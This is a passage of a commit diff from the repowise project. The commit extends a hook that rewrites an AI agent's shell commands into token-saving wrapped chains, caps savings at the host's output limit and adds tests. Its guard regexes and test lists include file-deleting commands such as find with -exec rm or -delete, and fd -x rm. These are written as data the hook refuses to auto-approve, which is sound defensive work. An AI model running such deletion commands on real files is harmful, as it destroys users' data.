Codebase intelligence for AI and humans: code health scores, auto-generated docs, git analytics, dead code detection, and architectural decisions via MCP.
Python aicode-complexitycode-healthcode-intelligencecode-qualitydead-codedeveloper-toolsdocumentationgit-analyticsmcpopen-sourcepythonrefactoringstatic-analysistechnical-debt
feat(distill): rewrite safe command chains, and fix what --missed was counting (#1291)
Raghav Chamadiya34e62a1caae3
diff --git a/packages/cli/src/repowise/cli/commands/saved_cmd.py b/packages/cli/src/repowise/cli/commands/saved_cmd.pyindex 85101a332..3756216f9 100644--- a/packages/cli/src/repowise/cli/commands/saved_cmd.py+++ b/packages/cli/src/repowise/cli/commands/saved_cmd.py@@ -162,6 +162,7 @@ def saved_command(f"tokens are chars/4 estimates)[/dim]")console.print(f" [dim]Ledger: {db_path}[/dim]")+ _print_mcp_truncation_line(db_path, since_ts)_print_missed_summary_line(start, missed_days)_print_reread_summary_line(start, missed_days)_print_forgone_read_skeleton_line(start, db_path, since_ts)@@ -191,6 +192,49 @@ _FORGONE_SURFACES = ()+def _print_mcp_truncation_line(db_path: Path, since_ts: float | None) -> None:+ """MCP savings the table above structurally cannot show.++ Two MCP signals exist. Counterfactual rows (``source='mcp:<tool>'`` in+ ``savings``) are already in the table, because they went through+ ``record_saving`` like everything else. Truncation drops are not: a tool+ with no counterfactual estimator writes only to ``omissions``, never+ calls ``record_saving``, and so is invisible to ``savings_summary`` --+ real savings that happened, sitting one table over.++ They are printed rather than folded into the footer because the table's+ columns are raw/distilled pairs and a drop has no raw counterpart to+ put in them. ``mcp_savings_summary`` merges with counterfactual+ precedence, so taking only the ``truncation`` rows adds each tool once.+ """+ import sqlite3++ from repowise.core.distill import tracking++ try:+ con = sqlite3.connect(f"file:{db_path.as_posix()}?mode=ro", uri=True, timeout=2)+ try:+ summary = tracking.mcp_savings_summary(con, since=since_ts)+ finally:+ con.close()+ except sqlite3.Error:+ return # no such table: this repo has never served MCP, not an error++ rows = [r for r in summary["per_tool"] if r["kind"] == "truncation"]+ if not rows:+ return+ tokens = sum(r["tokens"] for r in rows)+ events = sum(r["events"] for r in rows)+ tools = ", ".join(r["tool"] for r in rows[:3])+ if len(rows) > 3:+ tools += f", +{len(rows) - 3} more"+ console.print(+ f" [dim]Not counted above:[/dim] [green]{tokens:,}[/green] tokens dropped past "+ f"the response budget by {events:,} MCP call(s) ([dim]{tools}[/dim]) - tools with "+ "no counterfactual estimator yet, so only the truncation is measurable."+ )++def _print_forgone_read_skeleton_line(start: Path, db_path: Path, since_ts: float | None) -> None:"""What each replacing surface would have saved, for repos that have it off.diff --git a/packages/cli/src/repowise/cli/rewrite_hook.py b/packages/cli/src/repowise/cli/rewrite_hook.pyindex d701030d3..9fddb31e4 100644--- a/packages/cli/src/repowise/cli/rewrite_hook.py+++ b/packages/cli/src/repowise/cli/rewrite_hook.py@@ -28,20 +28,25 @@ Hot-path discipline (this fires on EVERY Bash tool call):Bailouts — commands never rewritten:- - redirections / compound commands (``> < && || ; &``), substitution- (backticks, ``$(``), multi-line commands: the wrapper would change- shell semantics. ``shell_lexer`` decides this structurally, so an- operator that only *looks* like one because it sits inside quotes- (``git commit -m "fix a|b"``) is not a bailout. Two safe tails are- carved out: a trailing ``2>&1`` (distill merges stderr into its- capture anyway) and, on POSIX hosts, a single pipe into a bare stdin- filter (``head``/``tail``/``grep``/``egrep``/``fgrep``/``rg``); the- whole pipeline is then quoted so it runs inside distill's own shell,- unchanged;+ - stdout redirection, background ``&``, substitution (backticks,+ ``$(``), multi-line commands: the wrapper would change shell+ semantics. ``shell_lexer`` decides this structurally, so an operator+ that only *looks* like one because it sits inside quotes+ (``git commit -m "fix a|b"``) is not a bailout;+ - anything containing ``$``: a wrapped command is expanded by distill's+ shell rather than this one, and an unexported variable is empty there;- watch/follow modes (``--watch``, ``tail -f``): long-running,interactive by design;- the ignore-list of trivial or interactive commands (cd, echo, vim, …);- anything already invoking ``repowise``.++Compound commands, on POSIX hosts, are rewritten when every top-level+segment is separately safe — see ``_chain_families``. ``a && b``,+``a; b``, and ``a | b`` are wrapped whole, as one single-quoted token, so+the operators bind inside distill's own shell and the exit code and+ordering are the shell's, unchanged. A trailing ``2>&1`` is stripped first+(distill merges stderr into its capture anyway), and a stderr redirect+anywhere in the chain is preserved as written."""from __future__ import annotations@@ -55,7 +60,12 @@ import tempfile# import at module scope. (No pathlib: it costs double-digit milliseconds# of interpreter startup, which this hook pays on every Bash call.)from repowise.cli.agent_adapters.base import RewriteResult-from repowise.cli.shell_lexer import analyze_pipeline+from repowise.cli.shell_lexer import (+ SAFE_FINAL_TOOLS,+ analyze_pipeline,+ is_plain_stdin_filter,+ tokenize,+)# ---------------------------------------------------------------------------# Command normalization — a hot-path mirror of@@ -79,17 +89,28 @@ _EXE_PATH_RE = re.compile(r'^(?:"[^"]*[\\/]|\S*[\\/])(?P<exe>[\w.-]+?)(?:\.exe)?def _normalize(command: str) -> str:+ """Mirror of ``router.normalize_command`` — keep the two in step.++ The hook cannot import ``repowise.core`` (hot-path discipline, see the+ module docstring), so this is a deliberate copy rather than a shared+ helper. Any fix here belongs there too.+ """cmd = command.strip()for _ in range(4):previous = cmdcmd = _ENV_ASSIGN_RE.sub("", cmd)+ # Strip the exe path *inside* the loop and before the wrapper table:+ # a wrapper invoked by path (".venv/Scripts/python.exe -m pytest")+ # only looks like a wrapper once the path is gone. Running this once+ # at the end left "python -m pytest", whose first token is on the+ # ignore-list, so every path-invoked test and lint run passed through.+ cmd = _EXE_PATH_RE.sub(lambda m: m.group("exe"), cmd)cmd = _WRAPPER_RE.sub("", cmd)quoted = _WHOLE_QUOTED_RE.match(cmd)if quoted:cmd = quoted.group(1).strip()if cmd == previous:break- cmd = _EXE_PATH_RE.sub(lambda m: m.group("exe"), cmd)return cmd.lower()@@ -136,7 +157,14 @@ FAMILY_PATTERNS: tuple[tuple[str, re.Pattern[str]], ...] = (("infra_plan", re.compile(r"^(?:terraform|tofu) plan\b|^helm (?:diff|upgrade)\b")),("git_status", re.compile(r"^git status\b(?!.*--porcelain)")),("git_log", re.compile(r"^git log\b")),- ("git_diff", re.compile(r"^git (?:diff|show)\b(?!.*--stat)")),+ # `gh pr diff` emits a plain unified diff, so it distills as one. Only+ # this one gh subcommand is listed: `gh` at large includes mutations+ # (pr merge, pr close), and a rewrite is auto-allowed.+ ("git_diff", re.compile(r"^git (?:diff|show)\b(?!.*--stat)|^gh pr diff\b")),+ # The engine has had a git_diff_stat filter since the hunk filter started+ # skipping --stat; the hook had no pattern that could route to it, so a+ # diffstat was the one git shape that always passed through raw.+ ("git_diff_stat", re.compile(r"^git (?:diff|show)\b(?=.*--stat)")),("search_results", re.compile(r"^(rg\b|grep\b|egrep\b|fgrep\b|git grep\b)")),("file_listing", re.compile(r"^(ls\b|tree\b|find\b|fd\b|git ls-files\b)")),("logs", re.compile(r"^(tail\b|journalctl\b|docker logs\b|kubectl logs\b|cat\b.*\.log\b)")),@@ -204,11 +232,26 @@ IGNORED_FIRST_TOKENS = frozenset(# the lexer runs so `pytest 2>&1 | grep FAIL` still classifies as pytest._STDERR_MERGE_RE = re.compile(r"\s+2>&1(?=\s|$)")-# Quoting the pipeline for distill's inner shell is only sound when nothing-# in it can be re-expanded or break the quoting on the second pass. This-# applies to the pipeline shape only: a command with no pipe is forwarded as-# separate argv tokens, which distill re-quotes itself.-_PIPE_UNSAFE_CHARS = ('"', "'", "$", "\\")+# The one thing re-quoting cannot make safe. Everything else that used to+# bail here (`"`, `'`, `\`) is a *quoting* problem, and `_single_quote`+# solves quoting exactly; `$` is an *evaluation-timing* problem, which it+# does not. The wrapped token is expanded by distill's shell rather than the+# outer one, and a shell variable that was never exported is empty there.+# Measured on 7 days of this repo's transcripts: admitting `$` would have+# added 545 tokens on top of 55,517, so the timing question does not pay for+# itself.+_EXPANSION_CHAR = "$"++#: Segment heads a wrapped chain may contain freely: read-only, not+#: interactive, and carrying no output anyone wants filtered. Deliberately+#: NOT ``IGNORED_FIRST_TOKENS``, which also holds rm/mv/chmod/kill — those+#: are ignored because wrapping them is pointless, not because they are safe+#: to auto-allow inside something larger.+_INERT_SEGMENT_TOKENS = frozenset({"cd", "echo", "printf", "pwd", "true", ":"})++#: Ops that only sequence commands. A bare ``&`` (background) is absent on+#: purpose: distill would capture the output of a job that has not run yet.+_CHAIN_OPS = frozenset({"&&", "||", ";"})# distill executes via the system shell (cmd.exe on Windows, where# head/tail/grep don't exist), so the safe-pipeline rewrite is@@ -256,13 +299,119 @@ def _split_safe_tail(command: str) -> tuple[str, bool] | None:return Noneif pipeline.final_tool is None:return pipeline.producer, False- # A pipeline is re-quoted as one token, so anything the inner shell would- # re-expand or that could break out of the quoting bails.- if not _POSIX_HOST or any(ch in command for ch in _PIPE_UNSAFE_CHARS):+ # A pipeline is re-quoted as one token. `_single_quote` makes the quoting+ # itself airtight, so only re-expansion is left to bail on.+ if not _POSIX_HOST or _EXPANSION_CHAR in command:return Nonereturn pipeline.producer, True+def _single_quote(command: str) -> str:+ """POSIX single-quote *command* so a shell re-reads it verbatim.++ ``shlex.quote`` in one line, inlined rather than imported: this module+ fires on every Bash tool call and its docstring commits to a stdlib-only,+ minimal-import scope. A single-quoted run ends at the next ``'``, so the+ only escape needed is to close, emit a literal quote, and reopen.+ """+ return "'" + command.replace("'", "'\\''") + "'"+++def _chain_families(command: str) -> tuple[str, ...] | None:+ """Families of a chain whose every segment is safe to wrap wholesale.++ ``_split_safe_tail`` handles one simple command and the single-pipe+ shape. Anything else -- ``a && b``, ``a; b``, a pipeline with more than+ one producer -- used to bail outright, and that bail is where most of the+ unrealised savings sit: on 7 days of this repo's transcripts, 89% of the+ tokens ``repowise saved --missed`` reports were declined for command+ shape, not for being unrecognized.++ A chain is admitted only when *every* top-level segment is one of:++ - a command ``_classify_head`` recognizes (the same closed set a lone+ command must be in),+ - an inert builtin (``_INERT_SEGMENT_TOKENS``),+ - a bare stdin filter on the right of a pipe (``SAFE_FINAL_TOOLS``),++ and at least one segment is recognized. That rule is the whole safety+ argument: a rewrite is auto-allowed, and wrapping a chain of things the+ agent could already run approval-free grants it nothing new. One+ unrecognized segment -- ``git status && ./deploy.sh`` -- and the whole+ command passes through, because wrapping it would auto-allow the part+ nobody vetted.++ Returns None when the chain is not admissible; otherwise the recognized+ families in order, whose first element names the rewrite.+ """+ if not _POSIX_HOST:+ # Same reason ``_split_safe_tail`` gates the pipeline shape: distill+ # re-runs the wrapped token through the system shell, which is+ # cmd.exe here, and these are POSIX command lines.+ return None+ declawed = _STDERR_MERGE_RE.sub("", command.strip())+ if _EXPANSION_CHAR in declawed:+ return None++ segments: list[list[str]] = [[]]+ piped_from: set[int] = set()+ skip_next_arg = False+ for token in tokenize(declawed):+ if token.kind == "arg":+ if skip_next_arg: # a redirect target, not part of the command+ skip_next_arg = False+ continue+ segments[-1].append(token.text)+ elif token.kind == "op":+ if token.text not in _CHAIN_OPS:+ return None # background &, substitution, backtick, newline+ segments.append([])+ elif token.kind == "pipe":+ if token.text != "|": # `|&` also pipes stderr+ return None+ segments.append([])+ piped_from.add(len(segments) - 1)+ elif token.kind == "redirect":+ # stdout redirects send the output somewhere distill will never+ # see. A stderr redirect only decides whether distill's+ # errors-first rendering has errors to lead with, which is the+ # caller's business either way.+ if not token.text.startswith("2"):+ return None+ skip_next_arg = True+ if skip_next_arg:+ return None # trailing redirect with no target: malformed, bail++ families: list[str] = []+ for index, segment in enumerate(segments):+ if not segment:+ continue+ head = " ".join(segment)+ normalized = _normalize(head)+ if not normalized:+ # An assignment with nothing after it (`FOO=bar`) normalizes+ # away. It sets state the wrapped shell would not share.+ return None+ first = normalized.split(None, 1)[0]+ if first in _INERT_SEGMENT_TOKENS:+ continue+ if index in piped_from and first in SAFE_FINAL_TOOLS:+ # grep/tail are both producer families and stdin filters, and on+ # the right of a pipe they are the latter -- so this has to be+ # judged before `_classify_head`, which would happily call+ # `grep -f patterns.txt` a search and wave it through. Membership+ # is not the test either: `grep -f` reads a pattern file and+ # `tail -F` never closes the pipe. Ask the lexer, which owns both.+ if not is_plain_stdin_filter(segment):+ return None+ continue+ family = _classify_head(head)+ if family is None:+ return None+ families.append(family)+ return tuple(families) or None++# Watch/follow modes are long-running; wrapping them buffers forever._WATCH_RE = re.compile(r"--watch(?:all)?\b|--looponfail\b|(?:^|\s)-f\b.*\.log\b|--follow\b")@@ -282,15 +431,27 @@ _STREAMING_FAMILIES = frozenset({"logs"})_PS_CMDLET_RE = re.compile(r"^[a-z]+-[a-z]")_DASHED_TOOL_TOKENS = frozenset({"golangci-lint"})+# `find`/`fd` sit in the listing family, but these flags turn a listing into+# an arbitrary-command runner: `find . -name '*.tmp' -exec rm {} \;` is a+# delete, not an `ls`. A rewrite is auto-allowed, so a command that merely+# *starts* like something recognized must not inherit that approval. Kept+# per-tool because the spellings collide with unrelated flags elsewhere+# (`-x` is fd's exec, and also `pytest -x`, which stays rewritable).+_ACTION_FLAG_RES = (+ ("find", re.compile(r"(?:^|\s)-(?:exec(?:dir)?|ok(?:dir)?|delete)(?:\s|$)")),+ ("fd", re.compile(r"(?:^|\s)(?:-[xX]|--exec(?:-batch)?)(?:\s|$)")),+)+def classify(command: str) -> str | None:"""Return the distill family for *command*, or None to pass through."""if not command:return Nonesplit = _split_safe_tail(command)- if split is None:- return None- return _classify_head(split[0])+ if split is not None:+ return _classify_head(split[0])+ families = _chain_families(command)+ return families[0] if families else Nonedef _classify_head(head_command: str) -> str | None:@@ -305,6 +466,9 @@ def _classify_head(head_command: str) -> str | None:return Noneif _WATCH_RE.search(normalized):return None+ for tool, action_re in _ACTION_FLAG_RES:+ if first == tool and action_re.search(normalized):+ return Nonefor family, pattern in FAMILY_PATTERNS:if pattern.match(normalized):if family in _STREAMING_FAMILIES and _FOLLOW_FLAG_RE.search(normalized):@@ -408,17 +572,25 @@ def decide((``hook-codex``); by default it derives from the shell dialect."""split = _split_safe_tail(command) if command else None- if split is None:- return None- head_command, needs_inner_shell = split- family = _classify_head(head_command)- if family is None:- return None-- if shell == "powershell":- first = _normalize(head_command).split(None, 1)[0]- if first in _PS_ALIAS_TOKENS:+ chain: tuple[str, ...] = ()+ if split is not None:+ head_command, needs_inner_shell = split+ family = _classify_head(head_command)+ if family is None:return None+ if shell == "powershell":+ first = _normalize(head_command).split(None, 1)[0]+ if first in _PS_ALIAS_TOKENS:+ return None+ elif command and shell != "powershell":+ # A chain is POSIX shell syntax by construction (`&&`, `;`, `|`), so+ # it is only ever offered to the POSIX dialect.+ chain = _chain_families(command) or ()+ if not chain:+ return None+ family, needs_inner_shell = chain[0], True+ else:+ return None# Only act inside repos that opted into repowise; the hook is installed# globally, but a repo without .repowise/ gets untouched commands.@@ -429,9 +601,13 @@ def decide(enabled, permission, families = _load_commands_config(repo_root)if not enabled:return None+ # Every family the command touches has to be allowed, not just the one+ # that names the rewrite: otherwise `git_diff: off` would be bypassable+ # by chaining a git diff behind anything still on.+ for touched in chain or (family,):+ if families.get(touched) in _OFF_VALUES:+ return Nonefamily_setting = families.get(family)- if family_setting in _OFF_VALUES:- return Noneif family_setting in _VALID_PERMISSIONS:permission = family_setting@@ -439,11 +615,12 @@ def decide(# --by source` can tell hook surfaces apart from direct CLI use.if source is None:source = "hook-powershell" if shell == "powershell" else "hook-bash"- # A safe pipeline is passed as ONE quoted token so the pipe binds inside- # distill's shell (distill re-runs a single token verbatim via shell=True)- # instead of piping distill's own rendering. _split_safe_tail already- # rejected commands containing quotes, so the wrap can't be broken out of.- wrapped = f'"{command.strip()}"' if needs_inner_shell else command.strip()+ # A pipeline or chain is passed as ONE quoted token so its operators bind+ # inside distill's shell (distill re-runs a single token verbatim via+ # shell=True) instead of binding to the wrapper. Single quotes, so the+ # inner shell reads the token back byte for byte; `$` already bailed, so+ # nothing in it re-expands.+ wrapped = _single_quote(command.strip()) if needs_inner_shell else command.strip()return RewriteResult(command=f"repowise distill --source {source} {wrapped}",permission=permission,diff --git a/packages/cli/src/repowise/cli/shell_lexer.py b/packages/cli/src/repowise/cli/shell_lexer.pyindex fa48f0204..46bd7ec6f 100644--- a/packages/cli/src/repowise/cli/shell_lexer.py+++ b/packages/cli/src/repowise/cli/shell_lexer.py@@ -30,6 +30,7 @@ __all__ = ["Pipeline","Token","analyze_pipeline",+ "is_plain_stdin_filter","render","tokenize",]@@ -243,6 +244,22 @@ def _disqualifies_final_stage(tool: str, args: list[str]) -> bool:return False+def is_plain_stdin_filter(words: list[str]) -> bool:+ """True if *words* is a one-shot stdin filter safe to end a stage.++ The same test ``analyze_pipeline`` applies to a final stage, exposed for+ callers that walk a multi-stage chain themselves and so never build a+ :class:`Pipeline`. Sharing it matters: the disqualifiers are subtle+ (``grep -f`` reads a pattern file, ``tail -F`` never closes the pipe),+ and a caller re-deriving them from ``SAFE_FINAL_TOOLS`` alone gets them+ wrong.+ """+ if not words:+ return False+ tool = _basename(words[0])+ return tool in SAFE_FINAL_TOOLS and not _disqualifies_final_stage(tool, words[1:])++def analyze_pipeline(command: str) -> Pipeline | None:"""Describe *command* as a simple pipeline, or return None to bail.diff --git a/packages/core/src/repowise/core/distill/engine.py b/packages/core/src/repowise/core/distill/engine.pyindex 6b58e1764..2a98df561 100644--- a/packages/core/src/repowise/core/distill/engine.py+++ b/packages/core/src/repowise/core/distill/engine.py@@ -29,13 +29,26 @@ from repowise.core.distill.markers import render_markerfrom repowise.core.distill.router import select_filterfrom repowise.core.distill.store import OmissionStore-__all__ = ["MIN_SAVED_TOKENS", "DistillResult", "distill_output"]+__all__ = [+ "HOST_OUTPUT_CAP_CHARS",+ "MIN_SAVED_TOKENS",+ "DistillResult",+ "distill_output",+]logger = structlog.get_logger(__name__)#: Distillation must save at least this many tokens to be worth a marker.MIN_SAVED_TOKENS = 40+#: How much of one command's output an agent host actually delivers. Claude+#: Code truncates a Bash/PowerShell tool result at 30,000 characters, so+#: everything past this was never going to reach the model and distilling it+#: away saves nothing. Applied to every source, including ``cli``: a human at+#: a real terminal has no such cap, so this undersells for them, and the+#: ledger is meant to be a floor rather than a best case.+HOST_OUTPUT_CAP_CHARS = 30_000+@dataclass(frozen=True)class DistillResult:@@ -68,7 +81,13 @@ def distill_output(When *store* is None one is opened at the default sidecar location for*store_start* (default: cwd) and closed before returning."""- raw_tokens = estimate_tokens(output)+ stored_tokens = estimate_tokens(output)+ # The saving is what the agent would otherwise have *received*, which is+ # not the whole of a large output: the host truncates a tool result long+ # before the model sees it, so bytes past the cap were never going to+ # cost anything and cannot be claimed. Measured on this repo's ledger,+ # one row was inflated ~5,859 tokens this way.+ raw_tokens = estimate_tokens(output[:HOST_OUTPUT_CAP_CHARS])raw = DistillResult(text=output,distilled=False,@@ -104,10 +123,12 @@ def distill_output(ref = store.put(output,source=f"{source}:{chosen.name}",- original_tokens=raw_tokens,+ # The artifact's own size, uncapped: `repowise expand` restores+ # all of it, so this is not a savings claim and must not be one.+ original_tokens=stored_tokens,kept_tokens=kept_tokens,)- marker = render_marker(ref, omitted_lines, max(0, raw_tokens - kept_tokens))+ marker = render_marker(ref, omitted_lines, max(0, stored_tokens - kept_tokens))text = kept.rstrip("\n") + "\n\n" + marker + "\n"distilled_tokens = estimate_tokens(text)# Net-positive guarantee, marker included.diff --git a/packages/core/src/repowise/core/distill/missed.py b/packages/core/src/repowise/core/distill/missed.pyindex 512b63f45..6306a1834 100644--- a/packages/core/src/repowise/core/distill/missed.py+++ b/packages/core/src/repowise/core/distill/missed.py@@ -7,6 +7,11 @@ each command with the same router the engine uses, and estimates the tokensa filter would have saved using that filter's conservative measured floor(the per-fixture savings floors asserted in CI, not the medians).+"Not routed" is decided on the *output*, not the command. The rewrite hook+swaps the command via PreToolUse ``updatedInput``, which changes what runs+and not what the transcript stored, so a rewritten call still looks raw+here; only the omission marker distill leaves behind tells them apart.+Read-only and best-effort by contract: malformed lines, unreadable files, oran absent transcript directory produce an empty report, never an error — thisruns inside ``repowise saved`` and a dashboard endpoint, neither of which may@@ -23,6 +28,7 @@ from pathlib import Pathfrom typing import Anyfrom repowise.core.distill.budget import estimate_tokens+from repowise.core.distill.markers import MARKER_REfrom repowise.core.distill.router import normalize_command, select_filterfrom repowise.core.sessions import ClaudeCodeAdapter, Event, transcript_dir_for@@ -168,6 +174,16 @@ def _collect_result(output = _result_text(result.payload)if not output:return+ if MARKER_RE.search(output):+ # The command text is not evidence that distill did not run. The+ # rewrite hook replaces the command through PreToolUse+ # ``updatedInput``, which changes what executes and not what the+ # transcript recorded, so a rewritten call is indistinguishable from+ # a raw one on the command alone. The output is where the difference+ # shows: an omission marker means distill produced this, and+ # counting it as forgone would bill a saving that was already+ # banked in the ledger.+ returnchosen = select_filter(command, output)if chosen is None:returndiff --git a/packages/core/src/repowise/core/distill/router.py b/packages/core/src/repowise/core/distill/router.pyindex f0d85213a..0bea18da3 100644--- a/packages/core/src/repowise/core/distill/router.py+++ b/packages/core/src/repowise/core/distill/router.py@@ -40,13 +40,18 @@ def normalize_command(command: str) -> str:for _ in range(4):previous = cmdcmd = _ENV_ASSIGN_RE.sub("", cmd)+ # Strip the exe path *inside* the loop and before the wrapper table:+ # a wrapper invoked by path (".venv/Scripts/python.exe -m pytest")+ # only looks like a wrapper once the path is gone. Running this once+ # at the end left "python -m pytest", which no family matches and+ # which the hook's ignore-list then bails on outright.+ cmd = _EXE_PATH_RE.sub(lambda m: m.group("exe"), cmd)cmd = _WRAPPER_RE.sub("", cmd)quoted = _WHOLE_QUOTED_RE.match(cmd)if quoted:cmd = quoted.group(1).strip()if cmd == previous:break- cmd = _EXE_PATH_RE.sub(lambda m: m.group("exe"), cmd)return cmd.lower()diff --git a/packages/server/src/repowise/server/mcp_server/_savings/counterfactual.py b/packages/server/src/repowise/server/mcp_server/_savings/counterfactual.pyindex b8ee3c65c..ff9833b31 100644--- a/packages/server/src/repowise/server/mcp_server/_savings/counterfactual.py+++ b/packages/server/src/repowise/server/mcp_server/_savings/counterfactual.py@@ -246,6 +246,50 @@ def _estimate_get_execution_flows(result: dict[str, Any]) -> int:return min(FLOWS_MAX, max(FLOWS_FLOOR, nodes * FLOWS_PER_NODE))+#: ``generate_refactoring_code`` hands back the rewritten code for a plan. Its+#: ``spans`` field carries the exact working-tree slices fed to the model --+#: which is precisely what the agent would have had to read to do the refactor+#: by hand -- so the counterfactual is grounded in those rather than guessed.+#: Only the reading is credited, never the writing, which is the larger half:+#: undersell by construction. Capped like the other signal-scaled floors so one+#: enormous span cannot dominate the ledger.+REFACTOR_FLOOR = 400+REFACTOR_SPAN_CHARS_PER_TOKEN = 4+REFACTOR_MAX = 8000+++def _estimate_generate_refactoring_code(result: dict[str, Any]) -> int:+ if result.get("error"):+ return 0+ spans = result.get("spans")+ if not isinstance(spans, list) or not spans:+ return 0+ chars = 0+ for span in spans:+ if isinstance(span, dict) and isinstance(span.get("source"), str):+ chars += len(span["source"])+ if chars <= 0:+ return 0+ return min(REFACTOR_MAX, max(REFACTOR_FLOOR, chars // REFACTOR_SPAN_CHARS_PER_TOKEN))+++#: ``list_repos`` replaces the agent working out which repos are indexed at all+#: -- listing a workspace tree and checking each entry for a ``.repowise``.+#: Small on purpose: it is a directory walk, not a file read.+REPOS_FLOOR = 120+REPOS_PER_REPO = 40+REPOS_MAX = 800+++def _estimate_list_repos(result: dict[str, Any]) -> int:+ if result.get("error"):+ return 0+ repos = result.get("repos")+ if not isinstance(repos, list) or not repos:+ return 0+ return min(REPOS_MAX, max(REPOS_FLOOR, len(repos) * REPOS_PER_REPO))++#: Tool name → estimator. Tools absent here emit no counterfactual (skip). Every#: agent-facing tool that replaces real exploration is listed: leaving a tool#: out means it can never earn credit yet still takes a dead-end debit on an@@ -269,6 +313,8 @@ _ESTIMATORS: dict[str, Callable[[dict[str, Any]], int]] = {"get_architecture": _fixed_floor(ARCHITECTURE_FLOOR),"get_dependency_path": _fixed_floor(DEPENDENCY_FLOOR),"get_conformance": _fixed_floor(CONFORMANCE_FLOOR),+ "generate_refactoring_code": _estimate_generate_refactoring_code,+ "list_repos": _estimate_list_repos,}diff --git a/tests/unit/distill/test_engine.py b/tests/unit/distill/test_engine.pyindex 22fa4bf91..5717c15f5 100644--- a/tests/unit/distill/test_engine.py+++ b/tests/unit/distill/test_engine.py@@ -7,6 +7,7 @@ from typing import ClassVarimport pytestfrom repowise.core.distill import distill_output+from repowise.core.distill.budget import estimate_tokensfrom repowise.core.distill.filters.base import OutputFilterfrom repowise.core.distill.markers import parse_marker_refsfrom repowise.core.distill.registry import filter_registry@@ -102,6 +103,31 @@ def test_savings_recorded_in_ledger(load_fixture, store: OmissionStore) -> None:assert summary["per_filter"]["git_log"]["saved_tokens"] > 0+def test_saving_is_capped_at_what_the_host_would_have_delivered(store: OmissionStore) -> None:+ """Output past the host's truncation point was never going to cost anything.++ Claimed savings must be measured against what the agent would have+ *received*, not against the raw byte count, or a huge output books a+ saving for tokens the model would never have seen.+ """+ from repowise.core.distill.engine import HOST_OUTPUT_CAP_CHARS++ # A diffstat far past the cap: 4x the host's limit.+ body = "\n".join(f" packages/mod_{i}/file_{i}.py | {i % 90 + 1} +++---" for i in range(2600))+ raw = body + "\n 2600 files changed, 90000 insertions(+), 40000 deletions(-)\n"+ assert len(raw) > HOST_OUTPUT_CAP_CHARS * 3++ result = distill_output(raw, command="git diff --stat", source="cli", store=store)+ assert result.distilled+ # Billed against the capped counterfactual, not the raw size.+ assert result.raw_tokens == estimate_tokens(raw[:HOST_OUTPUT_CAP_CHARS])+ assert result.raw_tokens < estimate_tokens(raw) // 3+ assert store.savings_summary()["raw_tokens"] == result.raw_tokens+ # …while the marker and the stored artifact still describe the real thing,+ # because `repowise expand` hands back all of it.+ assert result.ref is not None++def test_disabled_filters_respected(load_fixture, store: OmissionStore) -> None:raw = load_fixture("git_log_full.txt")result = distill_output(raw, command="git log -40", store=store, disabled_filters=("git_log",))diff --git a/tests/unit/distill/test_missed_savings.py b/tests/unit/distill/test_missed_savings.pyindex 41346443f..0eb3ebce8 100644--- a/tests/unit/distill/test_missed_savings.py+++ b/tests/unit/distill/test_missed_savings.py@@ -129,6 +129,24 @@ def test_distill_prefixed_commands_are_not_missed(repo: Path, projects: Path) ->assert report["events"] == 0+def test_an_already_distilled_run_is_not_counted_as_missed(repo: Path, projects: Path) -> None:+ """The command text cannot prove a rewrite did not happen; the output can.++ The rewrite hook swaps the command via PreToolUse ``updatedInput``, which+ changes what executes and not what the transcript stored -- so a rewritten+ call still shows its original command here. Counting it would bill a+ saving the ledger has already banked.+ """+ distilled = PYTEST_OUT + (+ "\n[repowise#a1b2c3d4e5f6: 40 lines omitted (~900 tokens); "+ "restore: repowise expand a1b2c3d4e5f6]\n"+ )+ _write_session(projects, repo, _tool_pair("pytest -q", distilled, cwd=str(repo)))+ report = scan_missed_savings(repo, projects_root=projects, now=NOW + 10)+ assert report["events"] == 0+ assert report["est_saved_tokens"] == 0++def test_unclassifiable_command_skipped(repo: Path, projects: Path) -> None:_write_session(projects, repo, _tool_pair("docker compose up", "y\n" * 80, cwd=str(repo)))report = scan_missed_savings(repo, projects_root=projects, now=NOW + 10)diff --git a/tests/unit/distill/test_rewrite_hook.py b/tests/unit/distill/test_rewrite_hook.pyindex 46dea6cb9..def6ba531 100644--- a/tests/unit/distill/test_rewrite_hook.py+++ b/tests/unit/distill/test_rewrite_hook.py@@ -71,6 +71,19 @@ class TestClassify:("git log --oneline -20", "git_log"),("git diff main", "git_diff"),("git show HEAD~2", "git_diff"),+ # `gh pr diff` emits a unified diff, so it distills as one. Only+ # this subcommand: `gh` at large can merge and close.+ ("gh pr diff 1277 --repo owner/name", "git_diff"),+ # The engine has had a git_diff_stat filter since the hunk filter+ # started skipping --stat; the hook had no pattern to reach it.+ ("git diff --stat", "git_diff_stat"),+ ("git show --stat HEAD", "git_diff_stat"),+ ("git diff a..b --stat -- pkg/", "git_diff_stat"),+ # A wrapper invoked by path is still that wrapper. Normalizing+ # the exe path after the wrapper table left "python -m pytest",+ # whose first token is on the ignore-list.+ (".venv/Scripts/python.exe -m pytest tests/unit -q", "test_output"),+ ("./.venv/bin/python -m ruff check packages/", "lint_output"),# search / listings / logs("rg TODO src/", "search_results"),("grep -rn auth .", "search_results"),@@ -105,18 +118,23 @@ class TestClassify:"ssh host","python script.py","node server.js",- # compound / pipes / redirections / substitution+ # compound / pipes / redirections / substitution. Chains whose+ # every segment is separately recognized are NOT here: those are+ # rewritten on POSIX hosts now, and are covered by+ # TestSafeTails::test_safe_chains_are_rewritten."pytest | awk '{print $1}'",- "pytest && echo done",- "pytest || true",- "git status; ls","pytest > out.txt 2>&1","pytest < input.txt","git log `git rev-parse HEAD`","pytest $(cat args.txt)","pytest -x &","pytest -x\ngit status",+ # A listing family member that is really an arbitrary-command+ # runner. The trailing `;` makes it a chain of one recognized+ # segment, so only the action-flag guard stops it."find . -name '*.tmp' -exec rm {} ;",+ "find . -name '*.tmp' -delete",+ "fd -e tmp -x rm",# watch / follow modes"vitest --watch","npm test -- --watchAll",@@ -124,7 +142,6 @@ class TestClassify:"tail -f app.log","kubectl logs --follow pod",# PowerShell: compound/continuation/substitution/call operator- "git status; git log --oneline -5","git log --oneline `\n -20","git diff $(git merge-base main HEAD)",'& "C:\\Program Files\\Git\\bin\\git.exe" status',@@ -141,7 +158,6 @@ class TestClassify:"repowise-augment",# opted-out variants"git status --porcelain",- "git diff --stat","ruff format .",# non-table commands"docker compose up",@@ -271,10 +287,7 @@ class TestSafeTails:"command",["pytest | awk '{print $1}'", # awk is not a bare stdin filter- "pytest | head -50 | tail -2", # two pipes- 'pytest -k "a b" | head', # quotes could break the wrap"pytest $ARGS | head", # expansion re-evaluated inside distill- "pytest | head; ls", # compound after the pipe"pytest | head > out.txt", # redirect 